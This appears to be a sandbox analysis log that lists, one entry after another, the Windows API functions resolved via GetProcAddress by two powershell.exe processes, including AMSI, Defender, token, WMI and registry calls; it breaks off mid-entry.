(UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SxsLookupClrGuid (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter VariantClear (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCPW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ResetSecurity (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SetSecurity (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServices (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServicesObject (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyHandle (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter WritePropertyValue (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter Clone (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter VerifyClientKey (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetQualifierSet (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter Get (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter Put (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter Delete (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetNames (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter BeginEnumeration (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter Next (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EndEnumeration (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyQualifierSet (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetObjectText (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SpawnDerivedClass (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SpawnInstance (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CompareTo (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyOrigin (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter InheritsFrom (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetMethod (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter PutMethod (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DeleteMethod (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter BeginMethodEnumeration (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter NextMethod (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter EndMethodEnumeration (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetMethodQualifierSet (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetMethodOrigin (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Get (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Put (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Delete (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_GetNames (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_BeginEnumeration (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Next (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_EndEnumeration (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentApartmentType (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetDemultiplexedStub (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateInstanceEnumWmi (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateClassEnumWmi (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ExecQueryWmi (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ExecNotificationQueryWmi (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter PutInstanceWmi (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter PutClassWmi (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CloneEnumWbemClassObject (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ConnectServerWmi (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter Initialize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00000200) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00000160) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00000160) "powershell.exe" 